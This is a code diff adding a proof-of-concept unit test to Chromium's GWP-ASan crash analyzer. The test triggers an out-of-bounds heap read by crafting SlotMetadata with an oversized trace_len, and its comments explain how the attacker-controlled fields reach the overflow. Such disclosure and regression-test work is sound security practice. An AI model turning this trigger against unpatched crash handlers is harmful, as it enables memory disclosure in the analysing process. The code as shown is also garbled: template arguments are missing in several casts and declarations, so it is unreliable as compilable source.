diff --git a/components/gwp_asan/crash_handler/crash_analyzer_unittest.cc b/components/gwp_asan/crash_handler/crash_analyzer_unittest.cc index d681247dedb66..a8ca3259ff23d 100644 --- a/components/gwp_asan/crash_handler/crash_analyzer_unittest.cc +++ b/components/gwp_asan/crash_handler/crash_analyzer_unittest.cc @@ -15,6 +15,7 @@ #include "base/containers/span.h" #include "base/debug/stack_trace.h" #include "base/functional/callback_helpers.h" +#include "base/strings/stringprintf.h" #include "base/test/gtest_util.h" #include "base/test/metrics/histogram_tester.h" #include "build/build_config.h" @@ -344,6 +345,88 @@ INSTANTIATE_TEST_SUITE_P( LightweightDetectorAnalyzerTest, testing::Values(LightweightDetectorMode::kBrpQuarantine, LightweightDetectorMode::kRandom)); + +// ----------------------------------------------------------------------------- +// POC: Out-of-bounds heap read in ReadAllocationInfo() when called from +// AnalyzeLightweightDetectorCrash(). +// +// ReadAllocationInfo() bounds slot_info.trace_len against +// AllocatorState::kMaxPackedTraceLength (400), but when invoked from the +// lightweight-detector path the supplied stack_trace buffer is +// SlotMetadata::deallocation_stack_trace, a uint8_t[90]. The SlotMetadata +// content (including dealloc.trace_len / dealloc.trace_collected) is copied +// verbatim from the analysed process / intermediate dump and is therefore fully +// attacker-controlled. With trace_len = 400, Unpack() reads ~300 bytes past the +// end of the analyzer's own heap-allocated metadata_arr. +// +// This test simulates the crashed-process side by placing crafted state in the +// current process and pointing a TestProcessSnapshot at it; the analyzer then +// performs the OOB read on its own make_unique(1) allocation. +// Under ASAN this produces a heap-buffer-overflow READ in VarIntDecode(). +TEST(LightweightDetectorOOB, CraftedTraceLen) { + // 1. Crafted SlotMetadata that the "attacker" controls. The analyzer will + // memcpy this into its own heap allocation (metadata_arr) and then read + // dealloc.trace_len bytes from deallocation_stack_trace inside that copy. + static LightweightDetectorState::SlotMetadata crafted_slot; + // Fill the 90-byte trace with single-byte varints (0x00) so Unpack() keeps + // decoding past the end of the in-bounds region. + UNSAFE_TODO( + memset(crafted_slot.deallocation_stack_trace, 0x00, + LightweightDetectorState::kMaxPackedTraceLength)); + // trace_len is bounded against AllocatorState::kMaxPackedTraceLength (400) + // instead of LightweightDetectorState::kMaxPackedTraceLength (90). + crafted_slot.dealloc.trace_len = AllocatorState::kMaxPackedTraceLength; + crafted_slot.dealloc.trace_collected = true; + crafted_slot.id = 0; // must match the metadata id encoded in the address. + + // 2. Crafted LightweightDetectorState pointing at the slot above. + static LightweightDetectorState crafted_state; + crafted_state.mode = LightweightDetectorMode::kBrpQuarantine; + crafted_state.num_metadata = 1; // metadata_arr is a single-element array. + crafted_state.metadata_addr = reinterpret_cast(&crafted_slot); + + // 3. Build a process snapshot whose lightweight-uaf-detector annotation + // points at crafted_state. No malloc/PA crash key is set, so analysis + // falls through to AnalyzeLightweightDetectorCrash(). + std::string crash_key = base::StringPrintf( + "%zx", reinterpret_cast(&crafted_state)); + std::vector annotations; + annotations.emplace_back( + kLightweightDetectorCrashKey, + static_cast(crashpad::Annotation::Type::kString), + std::vector(crash_key.begin(), crash_key.end())); + + auto module = std::make_unique(); + module->SetAnnotationObjects(annotations); + + auto exception = std::make_unique(); + exception->MutableContext()->architecture = + crashpad::CPUArchitecture::kCPUArchitectureX86_64; + // Encoded pseudo-address for metadata id 0: 0xEFED000000008000. + SetNonCanonicalAccessAddress( + *exception, LightweightDetectorState::EncodeMetadataId(0)); + +#if BUILDFLAG(IS_ANDROID) || BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) + crashpad::test::FakePtraceConnection connection; + ASSERT_TRUE(connection.Initialize(getpid())); + auto memory = std::make_unique(&connection); +#else + auto memory = std::make_unique(); + ASSERT_TRUE(memory->Initialize(crashpad::test::GetSelfProcess())); +#endif + + crashpad::test::TestProcessSnapshot process_snapshot; + process_snapshot.AddModule(std::move(module)); + process_snapshot.SetException(std::move(exception)); + process_snapshot.SetProcessMemory(std::move(memory)); + + // 4. Run the analyzer. The OOB read occurs inside Unpack() reading from the + // analyzer's own heap-allocated metadata_arr, so ASAN reports a + // heap-buffer-overflow here. + gwp_asan::Crash proto; + CrashAnalyzer::GetExceptionInfo(process_snapshot, &proto); +} + #endif // defined(ARCH_CPU_64_BITS) } // namespace internal